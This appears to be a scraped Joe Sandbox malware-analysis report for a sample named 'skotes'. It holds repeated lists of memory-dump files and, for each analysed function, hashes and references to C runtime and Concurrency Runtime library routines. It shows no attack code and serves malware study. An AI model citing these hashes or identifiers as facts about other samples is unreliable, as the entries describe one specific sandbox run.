Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: df04f131960fdbc8205e33903493477896ad64494a73784f0d972763f5fcff41
Instruction ID: 7df723a5db8f0d67c8af555a5cb890d289dd1e507a5a271150d6507e9ba7279e
Opcode Fuzzy Hash: df04f131960fdbc8205e33903493477896ad64494a73784f0d972763f5fcff41
Instruction Fuzzy Hash: 8A31483A7015109FDF059F60C881BAD77A6EFCA710F144179E906AF395DF30AD048790

Function 001A2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 001A2D0F

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: a5e718919f7fd4d70b017b4047dfb868707183d8ebbe3b2f4a426e3c895cb1b2
Instruction ID: 15bfef503290fdc98214a91c38f6083aadb10e5c77848297f1cb76867aa5c69e
Opcode Fuzzy Hash: a5e718919f7fd4d70b017b4047dfb868707183d8ebbe3b2f4a426e3c895cb1b2
Instruction Fuzzy Hash: 0C311979A00309DFCF14DF98C9C0BAE7BB9AF56314F1404AAD905AB246D730A945DBA1

Function 001B13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 001B13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 001B1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 001B147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 001B152A

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: d1e909cbdc476a709685f7e7e4a74d4c0aa429cf8f98e0109bc2d946f455dd7d
Instruction ID: 101430db3a8615afb4247c24758a67d2dbdd259bb0c26c17a6ae81f7cdf01d74
Opcode Fuzzy Hash: d1e909cbdc476a709685f7e7e4a74d4c0aa429cf8f98e0109bc2d946f455dd7d
Instruction Fuzzy Hash: 79318175E00605AFCF14EFA9C4919EDFBB5BF58710B54822DE426A7391CB34AE41CB90

Function 0019BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0019BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0019BBE4
_xtime_get.LIBCPMT ref: 0019BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0019BC13

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 805780bd2a72a5cb36c276129438a95d89ec2674d8973de14149c336cbc974f8
Instruction ID: e45325cb0554a50e03efe5e893753c017d44914217c690f7217542f4e2dd551f
Opcode Fuzzy Hash: 805780bd2a72a5cb36c276129438a95d89ec2674d8973de14149c336cbc974f8
Instruction Fuzzy Hash: 8F213E71A01119AFDF00EFA4DD819BEB7B9EF18710F100029F905B72A1DB30AD419BE1

Function 001A9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 001A9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 001A9CE8
std::bad_exception::bad_exception.LIBCMT ref: 001A9CFE
std::bad_exception::bad_exception.LIBCMT ref: 001A9D6A

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 61f12cb4293f45091695f7210aae3afa74706451c9d60927efac50bc9e7b41e2
Instruction ID: 20965fb0fa55f6eec7ac2b48b4a7e5ead96185eee4e1eb7bf3fdfafa4d6c9a4b
Opcode Fuzzy Hash: 61f12cb4293f45091695f7210aae3afa74706451c9d60927efac50bc9e7b41e2
Instruction Fuzzy Hash: 6621C8799006149FCF05EFA4D982DAEB7B0AF16310B20406AF002AB291DB316EC1CB51

Function 001AA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 001AA069

Part of subcall function 001AB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 001AB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 001AA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 001AA0CB

Part of subcall function 001AAB41: List.LIBCONCRT ref: 001AAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 001AA0DB

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
